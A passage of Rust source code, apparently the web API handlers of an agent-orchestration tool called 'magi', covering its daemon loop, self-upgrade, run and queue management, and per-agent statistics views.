1811 parking: bool,
1819 owned: bool,
1827 repo: String,
1830 merge: Option<String>,
1833 last_error: Option<String>,
1841 daemon: DaemonView,
1844}
1845
1846#[derive(Debug, Clone, Copy)]
1855struct Foreign {
1856 pid: Option<u32>,
1858}
1859
1860impl Foreign {
1861 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1864 let reading = reading?;
1865 if !reading.running(Timestamp::now()) {
1866 return None;
1867 }
1868 match reading.pid {
1869 Some(pid) if pid == std::process::id() => None,
1870 pid => Some(Self { pid }),
1874 }
1875 }
1876
1877 fn who(&self) -> String {
1880 match self.pid {
1881 Some(pid) => format!("another magi process (pid {pid})"),
1882 None => "another magi process".to_owned(),
1883 }
1884 }
1885}
1886
1887type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1892
1893fn launch_daemon(
1895 opts: daemon::Opts,
1896 stop: daemon::Stop,
1897) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1898 Box::pin(daemon::serve_until(opts, stop))
1899}
1900
1901#[derive(Debug, Default)]
1903struct LoopState {
1904 live: Option<Live>,
1906 rev: u64,
1914 last_error: Option<String>,
1917}
1918
1919#[derive(Debug)]
1921struct Live {
1922 stop: daemon::Stop,
1924 handle: tokio::task::JoinHandle<()>,
1929 opts: daemon::Opts,
1933}
1934
1935impl Live {
1936 fn alive(&self) -> bool {
1938 !self.handle.is_finished()
1939 }
1940}
1941
1942fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1949 state.lock().unwrap_or_else(PoisonError::into_inner)
1950}
1951
1952async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1954 blocking(move || {
1955 let reading = daemon::read_status(&ui.home);
1956 Ok(Json(ui.loop_view(reading)))
1957 })
1958 .await
1959}
1960
1961#[derive(Debug, Deserialize)]
1967#[serde(deny_unknown_fields)]
1968struct LoopCommand {
1969 running: bool,
1970 #[serde(default)]
1980 park: bool,
1981}
1982
1983async fn loop_post(
1991 State(ui): State<Arc<Ui>>,
1992 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1993) -> ApiResult<Json<LoopView>> {
1994 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1997 blocking(move || {
1998 let reading = daemon::read_status(&ui.home);
1999 let foreign = Foreign::of(reading.as_ref());
2000 if body.running {
2001 ui.start_loop(foreign)?;
2002 } else {
2003 ui.stop_loop(foreign, body.park)?;
2004 }
2005 Ok(Json(ui.loop_view(reading)))
2006 })
2007 .await
2008}
2009
2010#[derive(Debug, Serialize)]
2012struct UpgradeView {
2013 from: String,
2015 to: Option<String>,
2017 parked: Option<String>,
2019 detail: String,
2021}
2022
2023async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2047 let reading = daemon::read_status(&ui.home);
2048 if let Some(other) = Foreign::of(reading.as_ref()) {
2049 return Err(ApiError::conflict(format!(
2050 "the loop belongs to {}, so replacing this binary would leave \
2051 that process running an old one against the same queue. Upgrade \
2052 where it was started.",
2053 other.who()
2054 )));
2055 }
2056
2057 if crate::updater::disabled_by_env() {
2063 return Ok((
2064 StatusCode::OK,
2065 Json(UpgradeView {
2066 from: env!("CARGO_PKG_VERSION").to_owned(),
2067 to: None,
2068 parked: None,
2069 detail: format!(
2070 "Automatic updates are disabled by {}. Nothing was parked \
2071 and nothing restarted.",
2072 crate::updater::NO_AUTOUPDATE_ENV
2073 ),
2074 }),
2075 ));
2076 }
2077
2078 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2083 let from = env!("CARGO_PKG_VERSION").to_owned();
2084 let latest = match crate::updater::Checker::new(&cfg.update) {
2085 Some(checker) => checker
2086 .newer_release()
2087 .await
2088 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2089 None => None,
2090 };
2091 let Some(latest) = latest else {
2092 return Ok((
2093 StatusCode::OK,
2094 Json(UpgradeView {
2095 from,
2096 to: None,
2097 parked: None,
2098 detail: "Already on the newest release. Nothing was parked \
2099 and nothing restarted."
2100 .to_owned(),
2101 }),
2102 ));
2103 };
2104
2105 let parked = ui.park_for_upgrade()?;
2108 let detail = match &parked {
2109 Some(run) => format!(
2114 "Run {} is parking at its next step, which can take as long as \
2115 the step it is on - up to an hour for an implement wave. The \
2116 deck replaces itself once it parks, comes back, and the loop \
2117 carries that run on from where it stopped. Nothing is lost if \
2118 you close this.",
2119 crate::run::short_of(run)
2120 ),
2121 None => "The deck replaces itself and comes back. Nothing was in \
2122 flight to park."
2123 .to_owned(),
2124 };
2125
2126 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2130 progress.parked_run = parked.clone();
2131 let _ = updater::write_progress(&ui.home, &progress);
2132
2133 let home = ui.home.clone();
2134 tokio::spawn(async move {
2135 if let Err(e) = upgrade_and_restart(home.clone()).await {
2136 tracing::error!("the upgrade did not complete: {e:#}");
2137 if let Some(mut progress) = updater::read_progress(&home) {
2138 progress.fail(format!("{e:#}"));
2139 let _ = updater::write_progress(&home, &progress);
2140 }
2141 }
2142 });
2143
2144 Ok((
2145 StatusCode::ACCEPTED,
2146 Json(UpgradeView {
2147 from,
2148 to: Some(latest.tag_name),
2149 parked,
2150 detail,
2151 }),
2152 ))
2153}
2154
2155async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2160 crate::updater::run_self_update(true, false, true).await?;
2163 tracing::info!("binary replaced - asking the server to hand over");
2164 if let Some(mut progress) = updater::read_progress(&home) {
2165 progress.advance(updater::Stage::Replaced);
2166 let _ = updater::write_progress(&home, &progress);
2167 }
2168 HANDOVER.notify_one();
2169 Ok(())
2170}
2171
2172#[derive(Debug, Serialize)]
2178struct RunSummary {
2179 id: String,
2180 short: String,
2181 status: String,
2182 done: bool,
2183 instruction: String,
2184 title: String,
2185 repo: String,
2186 repo_name: String,
2187 created_at: String,
2188 updated_at: String,
2189 candidates: usize,
2190 viable: usize,
2191 judges: usize,
2192 winner: Option<char>,
2193 reviews: usize,
2194 quota_losses: usize,
2195 event: Option<String>,
2196 superseded_by: Option<String>,
2201 waiting: bool,
2208 live: crate::run::Liveness,
2212 pr: Option<crate::run::PrRecord>,
2214 unmerged_by_design: bool,
2220}
2221
2222impl RunSummary {
2223 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2224 Self {
2225 id: state.id.clone(),
2226 short: state.short().to_owned(),
2227 status: status_word(state.status),
2228 done: state.status.done(),
2229 unmerged_by_design: state.unmerged_by_design(),
2230 instruction: state.instruction.clone(),
2231 title: title_from(&state.instruction, TITLE_MAX),
2232 repo: state.repo.display().to_string(),
2233 repo_name: state
2234 .repo
2235 .file_name()
2236 .map(|n| n.to_string_lossy().into_owned())
2237 .unwrap_or_default(),
2238 created_at: state.created_at.to_string(),
2239 updated_at: state.updated_at.to_string(),
2240 candidates: state.candidates.len(),
2241 viable: state.viable().len(),
2242 judges: state.config.graph.judges,
2243 winner: state.winner().map(|c| c.label),
2244 reviews: state.reviews.len(),
2245 quota_losses: state.quota.len(),
2246 event: state.events.last().map(|e| e.message.clone()),
2247 waiting,
2248 live,
2249 superseded_by: None,
2252 pr: state.pr.clone(),
2253 }
2254 }
2255}
2256
2257fn status_word(status: RunStatus) -> String {
2260 status.as_str().to_owned()
2264}
2265
2266#[derive(Debug, Deserialize)]
2268struct ListQuery {
2269 #[serde(default)]
2270 limit: Option<usize>,
2271}
2272
2273async fn runs_list(
2274 State(ui): State<Arc<Ui>>,
2275 Query(q): Query<ListQuery>,
2276) -> ApiResult<Json<Vec<RunSummary>>> {
2277 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2278 blocking(move || {
2279 let superseded = ui.queue.superseded();
2280 let open_runs: HashSet<String> = ui
2284 .questions
2285 .list()
2286 .into_iter()
2287 .filter(|q| q.status.open())
2288 .map(|q| q.run)
2289 .collect();
2290 let claimed: HashSet<String> =
2291 crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2292 .into_iter()
2293 .map(|c| c.run)
2294 .collect();
2295 let states = run_ids(&ui.runs)
2296 .into_iter()
2297 .filter_map(|id| read_run(&ui.runs, &id).ok())
2302 .take(limit);
2303 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2304 let summaries = summarize(
2305 states,
2306 &open_runs,
2307 &claimed,
2308 &superseded,
2309 |p| probe.borrow_mut().status(p),
2310 |p| probe.borrow_mut().started_at(p),
2311 );
2312 Ok(Json(summaries))
2313 })
2314 .await
2315}
2316
2317fn summarize<I, S, D>(
2323 states: I,
2324 open_runs: &HashSet<String>,
2325 claimed: &HashSet<String>,
2326 superseded: &HashMap<String, String>,
2327 mut status_q: S,
2328 mut identity_q: D,
2329) -> Vec<RunSummary>
2330where
2331 I: IntoIterator<Item = RunState>,
2332 S: FnMut(u32) -> Option<bool>,
2333 D: FnMut(u32) -> Option<String>,
2334{
2335 states
2336 .into_iter()
2337 .map(|state| {
2338 let waiting = open_runs.contains(&state.id);
2339 let live =
2340 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
2341 let mut row = RunSummary::of(&state, waiting, live);
2342 row.superseded_by = superseded
2343 .get(&state.id)
2344 .map(String::as_str)
2345 .map(crate::run::short_of)
2346 .map(str::to_owned);
2347 row
2348 })
2349 .collect()
2350}
2351
2352#[derive(Debug, Serialize)]
2359struct RunDetailView {
2360 #[serde(flatten)]
2361 state: RunState,
2362 instruction_md: Vec<md::Node>,
2363 live: crate::run::Liveness,
2378 unmerged_by_design: bool,
2383 superseded_by: Option<String>,
2391 latest_attempt: Option<LatestAttempt>,
2405}
2406
2407#[derive(Debug, Serialize)]
2409struct LatestAttempt {
2410 id: String,
2411 short: String,
2412 resolved: bool,
2423}
2424
2425impl RunDetailView {
2426 fn of(
2427 state: RunState,
2428 live: crate::run::Liveness,
2429 superseded_by: Option<String>,
2430 latest_attempt: Option<LatestAttempt>,
2431 ) -> Self {
2432 Self {
2433 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
2434 live,
2435 unmerged_by_design: state.unmerged_by_design(),
2436 superseded_by,
2437 latest_attempt,
2438 state,
2439 }
2440 }
2441}
2442
2443async fn run_detail(
2444 State(ui): State<Arc<Ui>>,
2445 Path(id): Path<String>,
2446) -> ApiResult<Json<RunDetailView>> {
2447 blocking(move || {
2448 let id = resolve_run(&ui.runs, &id)?;
2449 let state = read_run(&ui.runs, &id)?;
2450 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2451 let live = state.liveness(daemon_claims);
2452 let superseded_by = ui
2453 .queue
2454 .superseded_by(&id)
2455 .as_deref()
2456 .map(crate::run::short_of)
2457 .map(str::to_owned);
2458 let latest_attempt = ui.queue.latest_attempt(&id).and_then(|head_id| {
2462 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
2463 short: head.short().to_owned(),
2464 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
2465 id: head.id,
2466 })
2467 });
2468 Ok(Json(RunDetailView::of(
2469 state,
2470 live,
2471 superseded_by,
2472 latest_attempt,
2473 )))
2474 })
2475 .await
2476}
2477
2478async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
2487 let (id, unreadable) = {
2488 let ui = Arc::clone(&ui);
2489 blocking(move || {
2490 let id = resolve_run(&ui.runs, &id)?;
2491 match read_run(&ui.runs, &id) {
2492 Ok(state) => {
2493 let in_flight =
2494 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2495 state
2496 .ensure_can_delete(in_flight)
2497 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
2498 let dir = ui.runs.join(&id);
2499 std::fs::remove_dir_all(&dir)
2500 .with_context(|| format!("remove run directory {}", dir.display()))?;
2501 Ok((id, false))
2502 }
2503 Err(_) => {
2504 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2508 return Err(ApiError::conflict(format!(
2509 "run {id} is being worked on by a live daemon right now"
2510 )));
2511 }
2512 Ok((id, true))
2513 }
2514 }
2515 })
2516 .await?
2517 };
2518 if unreadable {
2519 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2520 .await
2521 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2522 }
2523 let ui = Arc::clone(&ui);
2524 let done = id.clone();
2525 blocking(move || {
2526 ui.questions.abandon_for_run(
2529 &done,
2530 &format!("run {done} was deleted, so nothing is waiting for this answer"),
2531 )?;
2532 Ok(())
2533 })
2534 .await?;
2535 Ok(StatusCode::NO_CONTENT)
2536}
2537
2538async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
2562 let (id, state) = {
2563 let ui = Arc::clone(&ui);
2564 blocking(move || {
2565 let id = resolve_run(&ui.runs, &id)?;
2566 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2567 return Err(ApiError::conflict(format!(
2568 "run {id} is being worked on by a live daemon right now"
2569 )));
2570 }
2571 let state = read_run(&ui.runs, &id).ok();
2572 Ok((id, state))
2573 })
2574 .await?
2575 };
2576 let removed = match state {
2577 Some(mut state) => {
2578 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2579 .await
2580 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2581 if removed.is_empty() {
2586 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
2587 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2588 }
2589 removed
2590 }
2591 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
2592 .await
2593 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
2594 };
2595 Ok(Json(FoldView {
2596 run: id,
2597 removed_count: removed.len(),
2598 removed,
2599 }))
2600}
2601
2602#[derive(Debug, Serialize)]
2604struct FoldView {
2605 run: String,
2606 removed: Vec<String>,
2608 removed_count: usize,
2609}
2610
2611#[derive(Debug, Deserialize)]
2614struct FoldMergedBody {
2615 #[serde(default)]
2616 pr_url: String,
2617}
2618
2619async fn run_fold_merged(
2639 State(ui): State<Arc<Ui>>,
2640 Path(id): Path<String>,
2641 Json(body): Json<FoldMergedBody>,
2642) -> ApiResult<Json<FoldMergedView>> {
2643 let pr_url = body.pr_url.trim().to_owned();
2644 if pr_url.is_empty() {
2645 return Err(ApiError::bad_request("pr_url is required"));
2646 }
2647 let (id, mut state) = {
2648 let ui = Arc::clone(&ui);
2649 blocking(move || {
2650 let id = resolve_run(&ui.runs, &id)?;
2651 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
2652 return Err(ApiError::conflict(format!(
2653 "run {id} is being worked on by a live daemon right now"
2654 )));
2655 }
2656 let state = read_run(&ui.runs, &id)?;
2657 Ok((id, state))
2658 })
2659 .await?
2660 };
2661 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
2662 .await
2663 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
2664 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
2665 .await
2666 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
2667 Ok(Json(FoldMergedView {
2668 run: id,
2669 before: before.as_str().to_owned(),
2670 after: after.as_str().to_owned(),
2671 removed,
2672 }))
2673}
2674
2675#[derive(Debug, Serialize)]
2677struct FoldMergedView {
2678 run: String,
2679 before: String,
2681 after: String,
2683 removed: Vec<String>,
2685}
2686
2687async fn run_resume(
2707 State(ui): State<Arc<Ui>>,
2708 Path(id): Path<String>,
2709) -> ApiResult<(StatusCode, Json<RunSummary>)> {
2710 let (id, state) = {
2711 let ui = Arc::clone(&ui);
2712 blocking(move || {
2713 let id = resolve_run(&ui.runs, &id)?;
2714 let state = read_run(&ui.runs, &id)?;
2715 Ok((id, state))
2716 })
2717 .await?
2718 };
2719 if !state.status.resumable() {
2720 return Err(ApiError::conflict(format!(
2721 "run {} is `{}`, and only a stalled or blocked run can be resumed",
2722 state.short(),
2723 status_word(state.status)
2724 )));
2725 }
2726 if let Some(work) = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2731 .into_iter()
2732 .next()
2733 {
2734 return Err(ApiError::conflict(format!(
2735 "the loop is running run {} right now; stop it first, or wait for \
2736 it to finish, before resuming a run by hand.",
2737 crate::run::short_of(&work.run)
2738 )));
2739 }
2740 let _resume = ui.begin_resume(&id)?;
2741
2742 let queued = RunSummary::of(
2745 &state,
2746 !ui.questions.open_for(&id).is_empty(),
2747 state.liveness(false),
2748 );
2749 let run = id.clone();
2750 tokio::spawn(async move {
2751 let _resume = _resume;
2752 match crate::graph::Runner::resume(&run) {
2753 Ok(mut runner) => {
2754 if let Err(e) = runner.execute().await {
2755 tracing::warn!("resume of run {run} stopped: {e:#}");
2756 }
2757 }
2758 Err(e) => tracing::warn!("run {run} could not be resumed: {e:#}"),
2761 }
2762 });
2763 Ok((StatusCode::ACCEPTED, Json(queued)))
2764}
2765
2766async fn run_report(
2767 State(ui): State<Arc<Ui>>,
2768 Path(id): Path<String>,
2769) -> ApiResult<impl IntoResponse> {
2770 let text = blocking(move || {
2771 let id = resolve_run(&ui.runs, &id)?;
2772 let state = read_run(&ui.runs, &id)?;
2776 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
2777 let live = state.liveness(daemon_claims);
2778 Ok(format!(
2779 "{}{}",
2780 report::run(&state),
2781 report::active_seats(&state, live)
2782 ))
2783 })
2784 .await?;
2785 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
2786}
2787
2788#[derive(Debug, Serialize)]
2794struct TaskView {
2795 #[serde(flatten)]
2796 task: Task,
2797 source_label: String,
2798 status_str: &'static str,
2799 instruction_md: Vec<md::Node>,
2803 waits_on: Vec<String>,
2807 stuck_roots: Vec<String>,
2810}
2811
2812impl From<Task> for TaskView {
2813 fn from(task: Task) -> Self {
2814 Self {
2815 source_label: task.source.label(),
2816 status_str: task.status.as_str(),
2817 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
2818 waits_on: Vec::new(),
2819 stuck_roots: Vec::new(),
2820 task,
2821 }
2822 }
2823}
2824
2825impl TaskView {
2826 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
2827 let waits_on = inv.waits_on(&task);
2828 let stuck_roots = inv
2829 .stuck_roots(&task)
2830 .iter()
2831 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
2832 .collect();
2833 Self {
2834 waits_on,
2835 stuck_roots,
2836 ..Self::from(task)
2837 }
2838 }
2839}
2840
2841#[derive(Debug, Default, Deserialize)]
2844#[serde(default)]
2845struct ReposQuery {
2846 refresh: u8,
2847}
2848
2849async fn repos_list(
2856 State(ui): State<Arc<Ui>>,
2857 Query(q): Query<ReposQuery>,
2858) -> ApiResult<Json<Vec<repos::Repo>>> {
2859 let refresh = q.refresh != 0;
2860 blocking(move || {
2861 let (cfg, _) = Config::discover(&ui.repo, None)?;
2862 Ok(Json(ui.repos_cache.list(
2863 &cfg.repos.roots,
2864 Duration::from_secs(cfg.repos.scan_ttl),
2865 refresh,
2866 )))
2867 })
2868 .await
2869}
2870
2871async fn queue_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TaskView>>> {
2872 blocking(move || {
2873 let tasks = ui.queue.list();
2874 let inv = crate::blockers::Inventory::new(tasks.clone(), &ui.questions.list());
2875 Ok(Json(
2876 tasks
2877 .into_iter()
2878 .map(|t| TaskView::with_inventory(t, &inv))
2879 .collect(),
2880 ))
2881 })
2882 .await
2883}
2884
2885#[derive(Debug, Serialize)]
2889struct RateView {
2890 pct: f64,
2891 denominator: usize,
2892}
2893
2894impl RateView {
2895 fn of(numerator: usize, denominator: usize) -> Option<Self> {
2896 (denominator > 0).then(|| Self {
2897 pct: 100.0 * numerator as f64 / denominator as f64,
2898 denominator,
2899 })
2900 }
2901}
2902
2903#[derive(Debug, Serialize)]
2908struct StatsTotalsView {
2909 runs: usize,
2910 merged: usize,
2911 ready: usize,
2912 blocked: usize,
2913 failed: usize,
2914 stalled: usize,
2915 verified_noop: usize,
2916 superseded: usize,
2917 in_progress: usize,
2918 completion_rate: Option<RateView>,
2919 tallied: usize,
2920 split: usize,
2921 split_rate: Option<RateView>,
2922 deliberated: usize,
2923 minds_changed: usize,
2924 converged: usize,
2925 review_rounds: usize,
2926}
2927
2928impl From<&stats::Totals> for StatsTotalsView {
2929 fn from(t: &stats::Totals) -> Self {
2930 Self {
2931 runs: t.runs,
2932 merged: t.merged,
2933 ready: t.ready,
2934 blocked: t.blocked,
2935 failed: t.failed,
2936 stalled: t.stalled,
2937 verified_noop: t.verified_noop,
2938 superseded: t.superseded,
2939 in_progress: t.in_progress,
2940 completion_rate: RateView::of(t.merged + t.ready, t.runs),
2941 tallied: t.tallied,
2942 split: t.split,
2943 split_rate: RateView::of(t.split, t.tallied),
2944 deliberated: t.deliberated,
2945 minds_changed: t.minds_changed,
2946 converged: t.converged,
2947 review_rounds: t.review_rounds,
2948 }
2949 }
2950}
2951
2952#[derive(Debug, Serialize)]
2954struct AgentStatsView {
2955 agent: String,
2956 entered: usize,
2957 wins: usize,
2958 empty: usize,
2959 win_rate: Option<RateView>,
2960}
2961
2962impl From<&stats::AgentStats> for AgentStatsView {
2963 fn from(a: &stats::AgentStats) -> Self {
2964 Self {
2965 agent: a.agent.clone(),
2966 entered: a.entered,
2967 wins: a.wins,
2968 empty: a.empty,
2969 win_rate: RateView::of(a.wins, a.entered),
2970 }
2971 }
2972}
2973
2974#[derive(Debug, Serialize)]
2978struct ReviewerStatsView {
2979 agent: String,
2980 rounds: usize,
2981 seated: usize,
2982 submitted: usize,
2983 adopted: usize,
2984 unique: usize,
2985 timeouts: usize,
2986 adopted_per_round: Option<f64>,
2987 precision: Option<RateView>,
2988 unique_rate: Option<RateView>,
2989 timeout_rate: Option<RateView>,
2990}
2991
2992impl From<&stats::ReviewerStats> for ReviewerStatsView {
2993 fn from(r: &stats::ReviewerStats) -> Self {
2994 Self {
2995 agent: r.agent.clone(),
2996 rounds: r.rounds,
2997 seated: r.seated,
2998 submitted: r.submitted,
2999 adopted: r.adopted,
3000 unique: r.unique,
3001 timeouts: r.timeouts,
3002 adopted_per_round: (r.rounds > 0).then(|| r.adopted_per_round()),
3003 precision: RateView::of(r.adopted, r.submitted),
3004 unique_rate: RateView::of(r.unique, r.submitted),
3005 timeout_rate: RateView::of(r.timeouts, r.seated),
3006 }
3007 }
3008}
3009
3010#[derive(Debug, Serialize)]
3016struct AdvisorStatsView {
3017 agent: String,
3018 seated: usize,
3019 proposed: usize,
3020 absent: usize,
3021 faint: usize,
3022 strong: usize,
3023 reflection_rate: Option<RateView>,
3024}
3025
3026impl From<&stats::AdvisorStats> for AdvisorStatsView {
3027 fn from(a: &stats::AdvisorStats) -> Self {
3028 Self {
3029 agent: a.agent.clone(),
3030 seated: a.seated,
3031 proposed: a.proposed,
3032 absent: a.absent,
3033 faint: a.faint,
3034 strong: a.strong,
3035 reflection_rate: RateView::of(a.strong, a.proposed),
3036 }
3037 }
3038}
3039
3040#[derive(Debug, Serialize)]
3042struct E2eStatsView {
3043 rounds: usize,
3044 failures: usize,
3045 sole_detections: usize,
3046 deferred: usize,
3047 sole_rate: Option<RateView>,
3048}
3049
3050impl From<&stats::E2eStats> for E2eStatsView {
3051 fn from(e: &stats::E2eStats) -> Self {
3052 Self {
3053 rounds: e.rounds,
3054 failures: e.failures,
3055 sole_detections: e.sole_detections,
3056 deferred: e.deferred,
3057 sole_rate: RateView::of(e.sole_detections, e.failures),
3058 }
3059 }
3060}
3061
3062#[derive(Debug, Serialize)]
3070struct ReleaseBumpStatsView {
3071 merged: usize,
3072 recorded: usize,
3073 pr_opened: usize,
3074 automerge_enabled: usize,
3075 merged_directly: usize,
3076 needs_attention: usize,
3077 clean: usize,
3078 coverage_rate: Option<RateView>,
3079 automerge_rate: Option<RateView>,
3080 attention_rate: Option<RateView>,
3081}
3082
3083impl From<&stats::ReleaseBumpStats> for ReleaseBumpStatsView {
3084 fn from(b: &stats::ReleaseBumpStats) -> Self {
3085 Self {
3086 merged: b.merged,
3087 recorded: b.recorded,
3088 pr_opened: b.pr_opened,
3089 automerge_enabled: b.automerge_enabled,
3090 merged_directly: b.merged_directly,
3091 needs_attention: b.needs_attention,
3092 clean: b.clean(),
3093 coverage_rate: RateView::of(b.recorded, b.merged),
3094 automerge_rate: RateView::of(b.automerge_enabled, b.pr_opened),
3095 attention_rate: RateView::of(b.needs_attention, b.recorded),
3096 }
3097 }
3098}
3099
3100#[derive(Debug, Serialize)]
3102struct TaskCountsView {
3103 queued: usize,
3104 running: usize,
3105 done: usize,
3106 failed: usize,
3107 held: usize,
3108 blocked: usize,
3109}
3110
3111impl From<crate::queue::TaskCounts> for TaskCountsView {
3112 fn from(c: crate::queue::TaskCounts) -> Self {
3113 Self {
3114 queued: c.queued,
3115 running: c.running,
3116 done: c.done,
3117 failed: c.failed,
3118 held: c.held,
3119 blocked: c.blocked,
3120 }
3121 }
3122}
3123
3124#[derive(Debug, Serialize)]
3130struct StatsView {
3131 totals: StatsTotalsView,
3132 agents: Vec<AgentStatsView>,
3134 reviewers: Vec<ReviewerStatsView>,
3136 advisors: Vec<AdvisorStatsView>,
3138 e2e: E2eStatsView,
3139 release_bumps: ReleaseBumpStatsView,
3140 queue: TaskCountsView,
3141 runs_unreadable: usize,
3145}
3146
3147async fn stats_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<StatsView>> {
3153 blocking(move || {
3154 let states: Vec<RunState> = run_ids(&ui.runs)
3155 .into_iter()
3156 .filter_map(|id| read_run(&ui.runs, &id).ok())
3157 .collect();
3158 let collected = stats::collect(&states);
3159 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
3160 Ok(Json(StatsView {
3161 totals: StatsTotalsView::from(&collected.totals),
3162 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
3163 reviewers: collected
3164 .reviewers
3165 .iter()
3166 .map(ReviewerStatsView::from)
3167 .collect(),
3168 advisors: collected
3169 .advisors
3170 .iter()
3171 .map(AdvisorStatsView::from)
3172 .collect(),
3173 e2e: E2eStatsView::from(&collected.e2e),
3174 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
3175 queue: TaskCountsView::from(queue_counts),
3176 runs_unreadable: runs_unreadable(&ui.runs),
3177 }))
3178 })
3179 .await
3180}
3181
3182#[derive(Debug, Default, Deserialize)]
3185#[serde(default, deny_unknown_fields)]
3186struct HoldBody {
3187 reason: Option<String>,
3188}
3189
3190async fn queue_hold(
3191 State(ui): State<Arc<Ui>>,
3192 Path(id): Path<String>,
3193 body: std::result::Result<Json<HoldBody>, JsonRejection>,
3194) -> ApiResult<Json<TaskView>> {
3195 let body = match body {
3199 Ok(Json(body)) => body,
3200 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
3201 Err(e) => return Err(ApiError::bad_request(e.body_text())),
3202 };
3203 let reason = body.reason.filter(|r| !r.trim().is_empty());
3204 mutate(ui, id, move |t| {
3205 t.hold_manual(reason.clone());
3206 Ok(())
3207 })
3208 .await
3209}
3210
3211async fn queue_release(
3212 State(ui): State<Arc<Ui>>,
3213 Path(id): Path<String>,
3214) -> ApiResult<Json<TaskView>> {
3215 mutate(ui, id, |t| {
3216 t.release();
3217 Ok(())
3218 })
3219 .await
3220}
3221
3222#[derive(Debug, Deserialize)]
3224#[serde(deny_unknown_fields)]
3225struct PriorityBody {
3226 priority: i32,
3227}
3228
3229async fn queue_priority(
3235 State(ui): State<Arc<Ui>>,
3236 Path(id): Path<String>,
3237 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
3238) -> ApiResult<Json<TaskView>> {
3239 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3240 mutate(ui, id, move |t| t.set_priority(body.priority)).await
3241}
3242
3243#[derive(Debug, Deserialize)]
3245#[serde(deny_unknown_fields)]
3246struct EditBody {
3247 title: String,
3248 instruction: String,
3249}
3250
3251async fn queue_edit(
3255 State(ui): State<Arc<Ui>>,
3256 Path(id): Path<String>,
3257 body: std::result::Result<Json<EditBody>, JsonRejection>,
3258) -> ApiResult<Json<TaskView>> {
3259 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3260 mutate(ui, id, move |t| {
3261 t.edit(body.title.clone(), body.instruction.clone())
3262 })
3263 .await
3264}
3265
3266async fn queue_done(
3274 State(ui): State<Arc<Ui>>,
3275 Path(id): Path<String>,
3276) -> ApiResult<Json<TaskView>> {
3277 let home = ui.home.clone();
3278 mutate(ui, id, move |t| {
3279 t.succeed();
3280 crate::daemon::supersede_prior_runs(t, &home);
3288 Ok(())
3289 })
3290 .await
3291}
3292
3293async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
3301 blocking(move || {
3302 let id = resolve_task(&ui.queue, &id)?;
3303 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
3304 ui.queue
3305 .remove(&id, in_flight, &ui.questions)
3306 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
3307 Ok(StatusCode::NO_CONTENT)
3308 })
3309 .await
3310}
3311
3312async fn mutate(
3321 ui: Arc<Ui>,
3322 id: String,
3323 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
3324) -> ApiResult<Json<TaskView>> {
3325 blocking(move || {
3326 let id = resolve_task(&ui.queue, &id)?;
3327 let _claim = ui.queue.claim(&id).map_err(|e| {
3332 ApiError::conflict(format!(
